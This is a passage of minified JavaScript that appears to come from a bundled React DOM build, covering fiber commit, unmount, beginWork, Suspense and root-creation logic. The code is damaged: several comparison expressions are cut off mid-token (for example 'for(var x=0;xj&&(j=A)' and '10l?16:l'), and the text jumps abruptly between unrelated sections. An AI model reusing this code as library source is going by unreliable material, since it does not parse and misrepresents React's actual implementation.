x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.nodeType===8?p.parentNode.insertBefore(l,d):p.insertBefore(l,d):(p.nodeType===8?(d=p.parentNode,d.insertBefore(l,p)):(d=p,d.appendChild(l)),p=p._reactRootContainer,p!=null||d.onclick!==null||(d.onclick=zd));else if(x!==4&&(l=l.child,l!==null))for(tm(l,d,p),l=l.sibling;l!==null;)tm(l,d,p),l=l.sibling}function nm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.insertBefore(l,d):p.appendChild(l);else if(x!==4&&(l=l.child,l!==null))for(nm(l,d,p),l=l.sibling;l!==null;)nm(l,d,p),l=l.sibling}var Kn=null,bs=!1;function Ha(l,d,p){for(p=p.child;p!==null;)Qb(l,d,p),p=p.sibling}function Qb(l,d,p){if(Pe&&typeof Pe.onCommitFiberUnmount=="function")try{Pe.onCommitFiberUnmount(W,p)}catch{}switch(p.tag){case 5:sr||Zo(p,d);case 6:var x=Kn,j=bs;Kn=null,Ha(l,d,p),Kn=x,bs=j,Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?l.parentNode.removeChild(p):l.removeChild(p)):Kn.removeChild(p.stateNode));break;case 18:Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?mp(l.parentNode,p):l.nodeType===1&&mp(l,p),Ql(l)):mp(Kn,p.stateNode));break;case 4:x=Kn,j=bs,Kn=p.stateNode.containerInfo,bs=!0,Ha(l,d,p),Kn=x,bs=j;break;case 0:case 11:case 14:case 15:if(!sr&&(x=p.updateQueue,x!==null&&(x=x.lastEffect,x!==null))){j=x=x.next;do{var S=j,A=S.destroy;S=S.tag,A!==void 0&&((S&2)!==0||(S&4)!==0)&&Zp(p,d,A),j=j.next}while(j!==x)}Ha(l,d,p);break;case 1:if(!sr&&(Zo(p,d),x=p.stateNode,typeof x.componentWillUnmount=="function"))try{x.props=p.memoizedProps,x.state=p.memoizedState,x.componentWillUnmount()}catch(F){dn(p,d,F)}Ha(l,d,p);break;case 21:Ha(l,d,p);break;case 22:p.mode&1?(sr=(x=sr)||p.memoizedState!==null,Ha(l,d,p),sr=x):Ha(l,d,p);break;default:Ha(l,d,p)}}function Xb(l){var d=l.updateQueue;if(d!==null){l.updateQueue=null;var p=l.stateNode;p===null&&(p=l.stateNode=new Z3),d.forEach(function(x){var j=cE.bind(null,l,x);p.has(x)||(p.add(x),x.then(j,j))})}}function vs(l,d){var p=d.deletions;if(p!==null)for(var x=0;xj&&(j=A),x&=~S}if(x=j,x=Ot()-x,x=(120>x?120:480>x?480:1080>x?1080:1920>x?1920:3e3>x?3e3:4320>x?4320:1960*nE(x/1960))-x,10l?16:l,Ua===null)var x=!1;else{if(l=Ua,Ua=null,hu=0,(bt&6)!==0)throw Error(n(331));var j=bt;for(bt|=4,_e=l.current;_e!==null;){var S=_e,A=S.child;if((_e.flags&16)!==0){var F=S.deletions;if(F!==null){for(var G=0;GOt()-am?Yi(l,0):sm|=p),Er(l,d)}function uv(l,d){d===0&&((l.mode&1)===0?d=1:(d=Un,Un<<=1,(Un&130023424)===0&&(Un=4194304)));var p=yr();l=oa(l,d),l!==null&&(zi(l,d,p),Er(l,p))}function lE(l){var d=l.memoizedState,p=0;d!==null&&(p=d.retryLane),uv(l,p)}function cE(l,d){var p=0;switch(l.tag){case 13:var x=l.stateNode,j=l.memoizedState;j!==null&&(p=j.retryLane);break;case 19:x=l.stateNode;break;default:throw Error(n(314))}x!==null&&x.delete(d),uv(l,p)}var hv;hv=function(l,d,p){if(l!==null)if(l.memoizedProps!==d.pendingProps||jr.current)Sr=!0;else{if((l.lanes&p)===0&&(d.flags&128)===0)return Sr=!1,Y3(l,d,p);Sr=(l.flags&131072)!==0}else Sr=!1,Xt&&(d.flags&1048576)!==0&&Uy(d,Wd,d.index);switch(d.lanes=0,d.tag){case 2:var x=d.type;au(l,d),l=d.pendingProps;var j=Wo(d,tr.current);Yo(d,p),j=Lp(null,d,x,l,j,p);var S=_p();return d.flags|=1,typeof j=="object"&&j!==null&&typeof j.render=="function"&&j.$$typeof===void 0?(d.tag=1,d.memoizedState=null,d.updateQueue=null,kr(x)?(S=!0,Bd(d)):S=!1,d.memoizedState=j.state!==null&&j.state!==void 0?j.state:null,Mp(d),j.updater=ru,d.stateNode=j,j._reactInternals=d,Hp(d,x,l,p),d=qp(null,d,x,!0,S,p)):(d.tag=0,Xt&&S&&bp(d),xr(null,d,j,p),d=d.child),d;case 16:x=d.elementType;e:{switch(au(l,d),l=d.pendingProps,j=x._init,x=j(x._payload),d.type=x,j=d.tag=uE(x),l=ys(x,l),j){case 0:d=Kp(null,d,x,l,p);break e;case 1:d=zb(null,d,x,l,p);break e;case 11:d=Pb(null,d,x,l,p);break e;case 14:d=Ob(null,d,x,ys(x.type,l),p);break e}throw Error(n(306,x,""))}return d;case 0:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Kp(l,d,x,j,p);case 1:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),zb(l,d,x,j,p);case 3:e:{if($b(d),l===null)throw Error(n(387));x=d.pendingProps,S=d.memoizedState,j=S.element,eb(l,d),Yd(d,x,null,p);var A=d.memoizedState;if(x=A.element,S.isDehydrated)if(S={element:x,isDehydrated:!1,cache:A.cache,pendingSuspenseBoundaries:A.pendingSuspenseBoundaries,transitions:A.transitions},d.updateQueue.baseState=S,d.memoizedState=S,d.flags&256){j=Xo(Error(n(423)),d),d=Fb(l,d,x,p,j);break e}else if(x!==j){j=Xo(Error(n(424)),d),d=Fb(l,d,x,p,j);break e}else for(Dr=_a(d.stateNode.containerInfo.firstChild),Or=d,Xt=!0,xs=null,p=Xy(d,null,x,p),d.child=p;p;)p.flags=p.flags&-3|4096,p=p.sibling;else{if(qo(),x===j){d=ca(l,d,p);break e}xr(l,d,x,p)}d=d.child}return d;case 5:return rb(d),l===null&&wp(d),x=d.type,j=d.pendingProps,S=l!==null?l.memoizedProps:null,A=j.children,fp(x,j)?A=null:S!==null&&fp(x,S)&&(d.flags|=32),_b(l,d),xr(l,d,A,p),d.child;case 6:return l===null&&wp(d),null;case 13:return Bb(l,d,p);case 4:return Ap(d,d.stateNode.containerInfo),x=d.pendingProps,l===null?d.child=Go(d,null,x,p):xr(l,d,x,p),d.child;case 11:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Pb(l,d,x,j,p);case 7:return xr(l,d,d.pendingProps,p),d.child;case 8:return xr(l,d,d.pendingProps.children,p),d.child;case 12:return xr(l,d,d.pendingProps.children,p),d.child;case 10:e:{if(x=d.type._context,j=d.pendingProps,S=d.memoizedProps,A=j.value,Vt(qd,x._currentValue),x._currentValue=A,S!==null)if(gs(S.value,A)){if(S.children===j.children&&!jr.current){d=ca(l,d,p);break e}}else for(S=d.child,S!==null&&(S.return=d);S!==null;){var F=S.dependencies;if(F!==null){A=S.child;for(var G=F.firstContext;G!==null;){if(G.context===x){if(S.tag===1){G=la(-1,p&-p),G.tag=2;var he=S.updateQueue;if(he!==null){he=he.shared;var je=he.pending;je===null?G.next=G:(G.next=je.next,je.next=G),he.pending=G}}S.lanes|=p,G=S.alternate,G!==null&&(G.lanes|=p),Ep(S.return,p,d),F.lanes|=p;break}G=G.next}}else if(S.tag===10)A=S.type===d.type?null:S.child;else if(S.tag===18){if(A=S.return,A===null)throw Error(n(341));A.lanes|=p,F=A.alternate,F!==null&&(F.lanes|=p),Ep(A,p,d),A=S.sibling}else A=S.child;if(A!==null)A.return=S;else for(A=S;A!==null;){if(A===d){A=null;break}if(S=A.sibling,S!==null){S.return=A.return,A=S;break}A=A.return}S=A}xr(l,d,j.children,p),d=d.child}return d;case 9:return j=d.type,x=d.pendingProps.children,Yo(d,p),j=Xr(j),x=x(j),d.flags|=1,xr(l,d,x,p),d.child;case 14:return x=d.type,j=ys(x,d.pendingProps),j=ys(x.type,j),Ob(l,d,x,j,p);case 15:return Db(l,d,d.type,d.pendingProps,p);case 17:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),au(l,d),d.tag=1,kr(x)?(l=!0,Bd(d)):l=!1,Yo(d,p),Cb(d,x,j),Hp(d,x,j,p),qp(null,d,x,!0,l,p);case 19:return Hb(l,d,p);case 22:return Lb(l,d,p)}throw Error(n(156,d.tag))};function fv(l,d){return Gr(l,d)}function dE(l,d,p,x){this.tag=l,this.key=p,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=d,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=x,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ts(l,d,p,x){return new dE(l,d,p,x)}function fm(l){return l=l.prototype,!(!l||!l.isReactComponent)}function uE(l){if(typeof l=="function")return fm(l)?1:0;if(l!=null){if(l=l.$$typeof,l===ne)return 11;if(l===$)return 14}return 2}function Ga(l,d){var p=l.alternate;return p===null?(p=ts(l.tag,d,l.key,l.mode),p.elementType=l.elementType,p.type=l.type,p.stateNode=l.stateNode,p.alternate=l,l.alternate=p):(p.pendingProps=d,p.type=l.type,p.flags=0,p.subtreeFlags=0,p.deletions=null),p.flags=l.flags&14680064,p.childLanes=l.childLanes,p.lanes=l.lanes,p.child=l.child,p.memoizedProps=l.memoizedProps,p.memoizedState=l.memoizedState,p.updateQueue=l.updateQueue,d=l.dependencies,p.dependencies=d===null?null:{lanes:d.lanes,firstContext:d.firstContext},p.sibling=l.sibling,p.index=l.index,p.ref=l.ref,p}function gu(l,d,p,x,j,S){var A=2;if(x=l,typeof l=="function")fm(l)&&(A=1);else if(typeof l=="string")A=5;else e:switch(l){case L:return Xi(p.children,j,S,d);case R:A=8,j|=8;break;case D:return l=ts(12,p,d,j|2),l.elementType=D,l.lanes=S,l;case fe:return l=ts(13,p,d,j),l.elementType=fe,l.lanes=S,l;case xe:return l=ts(19,p,d,j),l.elementType=xe,l.lanes=S,l;case oe:return xu(p,j,S,d);default:if(typeof l=="object"&&l!==null)switch(l.$$typeof){case _:A=10;break e;case Z:A=9;break e;case ne:A=11;break e;case $:A=14;break e;case H:A=16,x=null;break e}throw Error(n(130,l==null?l:typeof l,""))}return d=ts(A,p,d,j),d.elementType=l,d.type=x,d.lanes=S,d}function Xi(l,d,p,x){return l=ts(7,l,x,d),l.lanes=p,l}function xu(l,d,p,x){return l=ts(22,l,x,d),l.elementType=oe,l.lanes=p,l.stateNode={isHidden:!1},l}function pm(l,d,p){return l=ts(6,l,null,d),l.lanes=p,l}function mm(l,d,p){return d=ts(4,l.children!==null?l.children:[],l.key,d),d.lanes=p,d.stateNode={containerInfo:l.containerInfo,pendingChildren:null,implementation:l.implementation},d}function hE(l,d,p,x,j){this.tag=d,this.containerInfo=l,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ul(0),this.expirationTimes=Ul(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ul(0),this.identifierPrefix=x,this.onRecoverableError=j,this.mutableSourceEagerHydrationData=null}function gm(l,d,p,x,j,S,A,F,G){return l=new hE(l,d,p,F,G),d===1?(d=1,S===!0&&(d|=8)):d=0,S=ts(3,null,null,d),l.current=S,S.stateNode=l,S.memoizedState={element:x,isDehydrated:p,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mp(S),l}function fE(l,d,p){var x=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(e){console.error(e)}}return t(),wm.exports=SE(),wm.exports}var Ev;function CE(){if(Ev)return ku;Ev=1;var t=Pw();return ku.createRoot=t.createRoot,ku.hydrateRoot=t.hydrateRoot,ku}var EE=CE(),md=Pw();const Ow=Rw(md);/** +`+S.stack}return{value:l,source:d,stack:j,digest:null}}function Wp(l,d,p){return{value:l,source:null,stack:p??null,digest:d??null}}function Up(l,d){try{console.error(d.value)}catch(p){setTimeout(function(){throw p})}}var q3=typeof WeakMap=="function"?WeakMap:Map;function Tb(l,d,p){p=la(-1,p),p.tag=3,p.payload={element:null};var x=d.value;return p.callback=function(){du||(du=!0,im=x),Up(l,d)},p}function Mb(l,d,p){p=la(-1,p),p.tag=3;var x=l.type.getDerivedStateFromError;if(typeof x=="function"){var j=d.value;p.payload=function(){return x(j)},p.callback=function(){Up(l,d)}}var S=l.stateNode;return S!==null&&typeof S.componentDidCatch=="function"&&(p.callback=function(){Up(l,d),typeof x!="function"&&(Wa===null?Wa=new Set([this]):Wa.add(this));var A=d.stack;this.componentDidCatch(d.value,{componentStack:A!==null?A:""})}),p}function Ab(l,d,p){var x=l.pingCache;if(x===null){x=l.pingCache=new q3;var j=new Set;x.set(d,j)}else j=x.get(d),j===void 0&&(j=new Set,x.set(d,j));j.has(p)||(j.add(p),l=oE.bind(null,l,d,p),d.then(l,l))}function Ib(l){do{var d;if((d=l.tag===13)&&(d=l.memoizedState,d=d!==null?d.dehydrated!==null:!0),d)return l;l=l.return}while(l!==null);return null}function Rb(l,d,p,x,j){return(l.mode&1)===0?(l===d?l.flags|=65536:(l.flags|=128,p.flags|=131072,p.flags&=-52805,p.tag===1&&(p.alternate===null?p.tag=17:(d=la(-1,1),d.tag=2,Va(p,d,1))),p.lanes|=1),l):(l.flags|=65536,l.lanes=j,l)}var G3=T.ReactCurrentOwner,Sr=!1;function xr(l,d,p,x){d.child=l===null?Xy(d,null,p,x):Go(d,l.child,p,x)}function Pb(l,d,p,x,j){p=p.render;var S=d.ref;return Yo(d,j),x=Lp(l,d,p,x,S,j),p=_p(),l!==null&&!Sr?(d.updateQueue=l.updateQueue,d.flags&=-2053,l.lanes&=~j,ca(l,d,j)):(Xt&&p&&bp(d),d.flags|=1,xr(l,d,x,j),d.child)}function Ob(l,d,p,x,j){if(l===null){var S=p.type;return typeof S=="function"&&!fm(S)&&S.defaultProps===void 0&&p.compare===null&&p.defaultProps===void 0?(d.tag=15,d.type=S,Db(l,d,S,x,j)):(l=gu(p.type,null,x,d,d.mode,j),l.ref=d.ref,l.return=d,d.child=l)}if(S=l.child,(l.lanes&j)===0){var A=S.memoizedProps;if(p=p.compare,p=p!==null?p:rc,p(A,x)&&l.ref===d.ref)return ca(l,d,j)}return d.flags|=1,l=Ga(S,x),l.ref=d.ref,l.return=d,d.child=l}function Db(l,d,p,x,j){if(l!==null){var S=l.memoizedProps;if(rc(S,x)&&l.ref===d.ref)if(Sr=!1,d.pendingProps=x=S,(l.lanes&j)!==0)(l.flags&131072)!==0&&(Sr=!0);else return d.lanes=l.lanes,ca(l,d,j)}return Kp(l,d,p,x,j)}function Lb(l,d,p){var x=d.pendingProps,j=x.children,S=l!==null?l.memoizedState:null;if(x.mode==="hidden")if((d.mode&1)===0)d.memoizedState={baseLanes:0,cachePool:null,transitions:null},Vt(el,Lr),Lr|=p;else{if((p&1073741824)===0)return l=S!==null?S.baseLanes|p:p,d.lanes=d.childLanes=1073741824,d.memoizedState={baseLanes:l,cachePool:null,transitions:null},d.updateQueue=null,Vt(el,Lr),Lr|=l,null;d.memoizedState={baseLanes:0,cachePool:null,transitions:null},x=S!==null?S.baseLanes:p,Vt(el,Lr),Lr|=x}else S!==null?(x=S.baseLanes|p,d.memoizedState=null):x=p,Vt(el,Lr),Lr|=x;return xr(l,d,j,p),d.child}function _b(l,d){var p=d.ref;(l===null&&p!==null||l!==null&&l.ref!==p)&&(d.flags|=512,d.flags|=2097152)}function Kp(l,d,p,x,j){var S=kr(p)?Vi:tr.current;return S=Wo(d,S),Yo(d,j),p=Lp(l,d,p,x,S,j),x=_p(),l!==null&&!Sr?(d.updateQueue=l.updateQueue,d.flags&=-2053,l.lanes&=~j,ca(l,d,j)):(Xt&&x&&bp(d),d.flags|=1,xr(l,d,p,j),d.child)}function zb(l,d,p,x,j){if(kr(p)){var S=!0;Bd(d)}else S=!1;if(Yo(d,j),d.stateNode===null)au(l,d),Cb(d,p,x),Hp(d,p,x,j),x=!0;else if(l===null){var A=d.stateNode,F=d.memoizedProps;A.props=F;var G=A.context,he=p.contextType;typeof he=="object"&&he!==null?he=Xr(he):(he=kr(p)?Vi:tr.current,he=Wo(d,he));var je=p.getDerivedStateFromProps,Se=typeof je=="function"||typeof A.getSnapshotBeforeUpdate=="function";Se||typeof A.UNSAFE_componentWillReceiveProps!="function"&&typeof A.componentWillReceiveProps!="function"||(F!==x||G!==he)&&Eb(d,A,x,he),Ba=!1;var we=d.memoizedState;A.state=we,Yd(d,x,A,j),G=d.memoizedState,F!==x||we!==G||jr.current||Ba?(typeof je=="function"&&(Vp(d,p,je,x),G=d.memoizedState),(F=Ba||Sb(d,p,F,x,we,G,he))?(Se||typeof A.UNSAFE_componentWillMount!="function"&&typeof A.componentWillMount!="function"||(typeof A.componentWillMount=="function"&&A.componentWillMount(),typeof A.UNSAFE_componentWillMount=="function"&&A.UNSAFE_componentWillMount()),typeof A.componentDidMount=="function"&&(d.flags|=4194308)):(typeof A.componentDidMount=="function"&&(d.flags|=4194308),d.memoizedProps=x,d.memoizedState=G),A.props=x,A.state=G,A.context=he,x=F):(typeof A.componentDidMount=="function"&&(d.flags|=4194308),x=!1)}else{A=d.stateNode,eb(l,d),F=d.memoizedProps,he=d.type===d.elementType?F:ys(d.type,F),A.props=he,Se=d.pendingProps,we=A.context,G=p.contextType,typeof G=="object"&&G!==null?G=Xr(G):(G=kr(p)?Vi:tr.current,G=Wo(d,G));var Oe=p.getDerivedStateFromProps;(je=typeof Oe=="function"||typeof A.getSnapshotBeforeUpdate=="function")||typeof A.UNSAFE_componentWillReceiveProps!="function"&&typeof A.componentWillReceiveProps!="function"||(F!==Se||we!==G)&&Eb(d,A,x,G),Ba=!1,we=d.memoizedState,A.state=we,Yd(d,x,A,j);var ze=d.memoizedState;F!==Se||we!==ze||jr.current||Ba?(typeof Oe=="function"&&(Vp(d,p,Oe,x),ze=d.memoizedState),(he=Ba||Sb(d,p,he,x,we,ze,G)||!1)?(je||typeof A.UNSAFE_componentWillUpdate!="function"&&typeof A.componentWillUpdate!="function"||(typeof A.componentWillUpdate=="function"&&A.componentWillUpdate(x,ze,G),typeof A.UNSAFE_componentWillUpdate=="function"&&A.UNSAFE_componentWillUpdate(x,ze,G)),typeof A.componentDidUpdate=="function"&&(d.flags|=4),typeof A.getSnapshotBeforeUpdate=="function"&&(d.flags|=1024)):(typeof A.componentDidUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=4),typeof A.getSnapshotBeforeUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=1024),d.memoizedProps=x,d.memoizedState=ze),A.props=x,A.state=ze,A.context=G,x=he):(typeof A.componentDidUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=4),typeof A.getSnapshotBeforeUpdate!="function"||F===l.memoizedProps&&we===l.memoizedState||(d.flags|=1024),x=!1)}return qp(l,d,p,x,S,j)}function qp(l,d,p,x,j,S){_b(l,d);var A=(d.flags&128)!==0;if(!x&&!A)return j&&Hy(d,p,!1),ca(l,d,S);x=d.stateNode,G3.current=d;var F=A&&typeof p.getDerivedStateFromError!="function"?null:x.render();return d.flags|=1,l!==null&&A?(d.child=Go(d,l.child,null,S),d.child=Go(d,null,F,S)):xr(l,d,F,S),d.memoizedState=x.state,j&&Hy(d,p,!0),d.child}function $b(l){var d=l.stateNode;d.pendingContext?By(l,d.pendingContext,d.pendingContext!==d.context):d.context&&By(l,d.context,!1),Ap(l,d.containerInfo)}function Fb(l,d,p,x,j){return qo(),jp(j),d.flags|=256,xr(l,d,p,x),d.child}var Gp={dehydrated:null,treeContext:null,retryLane:0};function Jp(l){return{baseLanes:l,cachePool:null,transitions:null}}function Bb(l,d,p){var x=d.pendingProps,j=sn.current,S=!1,A=(d.flags&128)!==0,F;if((F=A)||(F=l!==null&&l.memoizedState===null?!1:(j&2)!==0),F?(S=!0,d.flags&=-129):(l===null||l.memoizedState!==null)&&(j|=1),Vt(sn,j&1),l===null)return wp(d),l=d.memoizedState,l!==null&&(l=l.dehydrated,l!==null)?((d.mode&1)===0?d.lanes=1:l.data==="$!"?d.lanes=8:d.lanes=1073741824,null):(A=x.children,l=x.fallback,S?(x=d.mode,S=d.child,A={mode:"hidden",children:A},(x&1)===0&&S!==null?(S.childLanes=0,S.pendingProps=A):S=xu(A,x,0,null),l=Xi(l,x,p,null),S.return=d,l.return=d,S.sibling=l,d.child=S,d.child.memoizedState=Jp(p),d.memoizedState=Gp,l):Yp(d,A));if(j=l.memoizedState,j!==null&&(F=j.dehydrated,F!==null))return J3(l,d,A,x,F,j,p);if(S){S=x.fallback,A=d.mode,j=l.child,F=j.sibling;var G={mode:"hidden",children:x.children};return(A&1)===0&&d.child!==j?(x=d.child,x.childLanes=0,x.pendingProps=G,d.deletions=null):(x=Ga(j,G),x.subtreeFlags=j.subtreeFlags&14680064),F!==null?S=Ga(F,S):(S=Xi(S,A,p,null),S.flags|=2),S.return=d,x.return=d,x.sibling=S,d.child=x,x=S,S=d.child,A=l.child.memoizedState,A=A===null?Jp(p):{baseLanes:A.baseLanes|p,cachePool:null,transitions:A.transitions},S.memoizedState=A,S.childLanes=l.childLanes&~p,d.memoizedState=Gp,x}return S=l.child,l=S.sibling,x=Ga(S,{mode:"visible",children:x.children}),(d.mode&1)===0&&(x.lanes=p),x.return=d,x.sibling=null,l!==null&&(p=d.deletions,p===null?(d.deletions=[l],d.flags|=16):p.push(l)),d.child=x,d.memoizedState=null,x}function Yp(l,d){return d=xu({mode:"visible",children:d},l.mode,0,null),d.return=l,l.child=d}function su(l,d,p,x){return x!==null&&jp(x),Go(d,l.child,null,p),l=Yp(d,d.pendingProps.children),l.flags|=2,d.memoizedState=null,l}function J3(l,d,p,x,j,S,A){if(p)return d.flags&256?(d.flags&=-257,x=Wp(Error(n(422))),su(l,d,A,x)):d.memoizedState!==null?(d.child=l.child,d.flags|=128,null):(S=x.fallback,j=d.mode,x=xu({mode:"visible",children:x.children},j,0,null),S=Xi(S,j,A,null),S.flags|=2,x.return=d,S.return=d,x.sibling=S,d.child=x,(d.mode&1)!==0&&Go(d,l.child,null,A),d.child.memoizedState=Jp(A),d.memoizedState=Gp,S);if((d.mode&1)===0)return su(l,d,A,null);if(j.data==="$!"){if(x=j.nextSibling&&j.nextSibling.dataset,x)var F=x.dgst;return x=F,S=Error(n(419)),x=Wp(S,x,void 0),su(l,d,A,x)}if(F=(A&l.childLanes)!==0,Sr||F){if(x=zn,x!==null){switch(A&-A){case 4:j=2;break;case 16:j=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:j=32;break;case 536870912:j=268435456;break;default:j=0}j=(j&(x.suspendedLanes|A))!==0?0:j,j!==0&&j!==S.retryLane&&(S.retryLane=j,oa(l,j),Ns(x,l,j,-1))}return hm(),x=Wp(Error(n(421))),su(l,d,A,x)}return j.data==="$?"?(d.flags|=128,d.child=l.child,d=lE.bind(null,l),j._reactRetry=d,null):(l=S.treeContext,Dr=_a(j.nextSibling),Or=d,Xt=!0,xs=null,l!==null&&(Yr[Qr++]=aa,Yr[Qr++]=ia,Yr[Qr++]=Hi,aa=l.id,ia=l.overflow,Hi=d),d=Yp(d,x.children),d.flags|=4096,d)}function Vb(l,d,p){l.lanes|=d;var x=l.alternate;x!==null&&(x.lanes|=d),Ep(l.return,d,p)}function Qp(l,d,p,x,j){var S=l.memoizedState;S===null?l.memoizedState={isBackwards:d,rendering:null,renderingStartTime:0,last:x,tail:p,tailMode:j}:(S.isBackwards=d,S.rendering=null,S.renderingStartTime=0,S.last=x,S.tail=p,S.tailMode=j)}function Hb(l,d,p){var x=d.pendingProps,j=x.revealOrder,S=x.tail;if(xr(l,d,x.children,p),x=sn.current,(x&2)!==0)x=x&1|2,d.flags|=128;else{if(l!==null&&(l.flags&128)!==0)e:for(l=d.child;l!==null;){if(l.tag===13)l.memoizedState!==null&&Vb(l,p,d);else if(l.tag===19)Vb(l,p,d);else if(l.child!==null){l.child.return=l,l=l.child;continue}if(l===d)break e;for(;l.sibling===null;){if(l.return===null||l.return===d)break e;l=l.return}l.sibling.return=l.return,l=l.sibling}x&=1}if(Vt(sn,x),(d.mode&1)===0)d.memoizedState=null;else switch(j){case"forwards":for(p=d.child,j=null;p!==null;)l=p.alternate,l!==null&&Qd(l)===null&&(j=p),p=p.sibling;p=j,p===null?(j=d.child,d.child=null):(j=p.sibling,p.sibling=null),Qp(d,!1,j,p,S);break;case"backwards":for(p=null,j=d.child,d.child=null;j!==null;){if(l=j.alternate,l!==null&&Qd(l)===null){d.child=j;break}l=j.sibling,j.sibling=p,p=j,j=l}Qp(d,!0,p,null,S);break;case"together":Qp(d,!1,null,null,void 0);break;default:d.memoizedState=null}return d.child}function au(l,d){(d.mode&1)===0&&l!==null&&(l.alternate=null,d.alternate=null,d.flags|=2)}function ca(l,d,p){if(l!==null&&(d.dependencies=l.dependencies),Gi|=d.lanes,(p&d.childLanes)===0)return null;if(l!==null&&d.child!==l.child)throw Error(n(153));if(d.child!==null){for(l=d.child,p=Ga(l,l.pendingProps),d.child=p,p.return=d;l.sibling!==null;)l=l.sibling,p=p.sibling=Ga(l,l.pendingProps),p.return=d;p.sibling=null}return d.child}function Y3(l,d,p){switch(d.tag){case 3:$b(d),qo();break;case 5:rb(d);break;case 1:kr(d.type)&&Bd(d);break;case 4:Ap(d,d.stateNode.containerInfo);break;case 10:var x=d.type._context,j=d.memoizedProps.value;Vt(qd,x._currentValue),x._currentValue=j;break;case 13:if(x=d.memoizedState,x!==null)return x.dehydrated!==null?(Vt(sn,sn.current&1),d.flags|=128,null):(p&d.child.childLanes)!==0?Bb(l,d,p):(Vt(sn,sn.current&1),l=ca(l,d,p),l!==null?l.sibling:null);Vt(sn,sn.current&1);break;case 19:if(x=(p&d.childLanes)!==0,(l.flags&128)!==0){if(x)return Hb(l,d,p);d.flags|=128}if(j=d.memoizedState,j!==null&&(j.rendering=null,j.tail=null,j.lastEffect=null),Vt(sn,sn.current),x)break;return null;case 22:case 23:return d.lanes=0,Lb(l,d,p)}return ca(l,d,p)}var Wb,Xp,Ub,Kb;Wb=function(l,d){for(var p=d.child;p!==null;){if(p.tag===5||p.tag===6)l.appendChild(p.stateNode);else if(p.tag!==4&&p.child!==null){p.child.return=p,p=p.child;continue}if(p===d)break;for(;p.sibling===null;){if(p.return===null||p.return===d)return;p=p.return}p.sibling.return=p.return,p=p.sibling}},Xp=function(){},Ub=function(l,d,p,x){var j=l.memoizedProps;if(j!==x){l=d.stateNode,Ki(Ls.current);var S=null;switch(p){case"input":j=Tt(l,j),x=Tt(l,x),S=[];break;case"select":j=B({},j,{value:void 0}),x=B({},x,{value:void 0}),S=[];break;case"textarea":j=Rn(l,j),x=Rn(l,x),S=[];break;default:typeof j.onClick!="function"&&typeof x.onClick=="function"&&(l.onclick=zd)}wr(p,x);var A;p=null;for(he in j)if(!x.hasOwnProperty(he)&&j.hasOwnProperty(he)&&j[he]!=null)if(he==="style"){var F=j[he];for(A in F)F.hasOwnProperty(A)&&(p||(p={}),p[A]="")}else he!=="dangerouslySetInnerHTML"&&he!=="children"&&he!=="suppressContentEditableWarning"&&he!=="suppressHydrationWarning"&&he!=="autoFocus"&&(a.hasOwnProperty(he)?S||(S=[]):(S=S||[]).push(he,null));for(he in x){var G=x[he];if(F=j!=null?j[he]:void 0,x.hasOwnProperty(he)&&G!==F&&(G!=null||F!=null))if(he==="style")if(F){for(A in F)!F.hasOwnProperty(A)||G&&G.hasOwnProperty(A)||(p||(p={}),p[A]="");for(A in G)G.hasOwnProperty(A)&&F[A]!==G[A]&&(p||(p={}),p[A]=G[A])}else p||(S||(S=[]),S.push(he,p)),p=G;else he==="dangerouslySetInnerHTML"?(G=G?G.__html:void 0,F=F?F.__html:void 0,G!=null&&F!==G&&(S=S||[]).push(he,G)):he==="children"?typeof G!="string"&&typeof G!="number"||(S=S||[]).push(he,""+G):he!=="suppressContentEditableWarning"&&he!=="suppressHydrationWarning"&&(a.hasOwnProperty(he)?(G!=null&&he==="onScroll"&&qt("scroll",l),S||F===G||(S=[])):(S=S||[]).push(he,G))}p&&(S=S||[]).push("style",p);var he=S;(d.updateQueue=he)&&(d.flags|=4)}},Kb=function(l,d,p,x){p!==x&&(d.flags|=4)};function yc(l,d){if(!Xt)switch(l.tailMode){case"hidden":d=l.tail;for(var p=null;d!==null;)d.alternate!==null&&(p=d),d=d.sibling;p===null?l.tail=null:p.sibling=null;break;case"collapsed":p=l.tail;for(var x=null;p!==null;)p.alternate!==null&&(x=p),p=p.sibling;x===null?d||l.tail===null?l.tail=null:l.tail.sibling=null:x.sibling=null}}function rr(l){var d=l.alternate!==null&&l.alternate.child===l.child,p=0,x=0;if(d)for(var j=l.child;j!==null;)p|=j.lanes|j.childLanes,x|=j.subtreeFlags&14680064,x|=j.flags&14680064,j.return=l,j=j.sibling;else for(j=l.child;j!==null;)p|=j.lanes|j.childLanes,x|=j.subtreeFlags,x|=j.flags,j.return=l,j=j.sibling;return l.subtreeFlags|=x,l.childLanes=p,d}function Q3(l,d,p){var x=d.pendingProps;switch(vp(d),d.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return rr(d),null;case 1:return kr(d.type)&&Fd(),rr(d),null;case 3:return 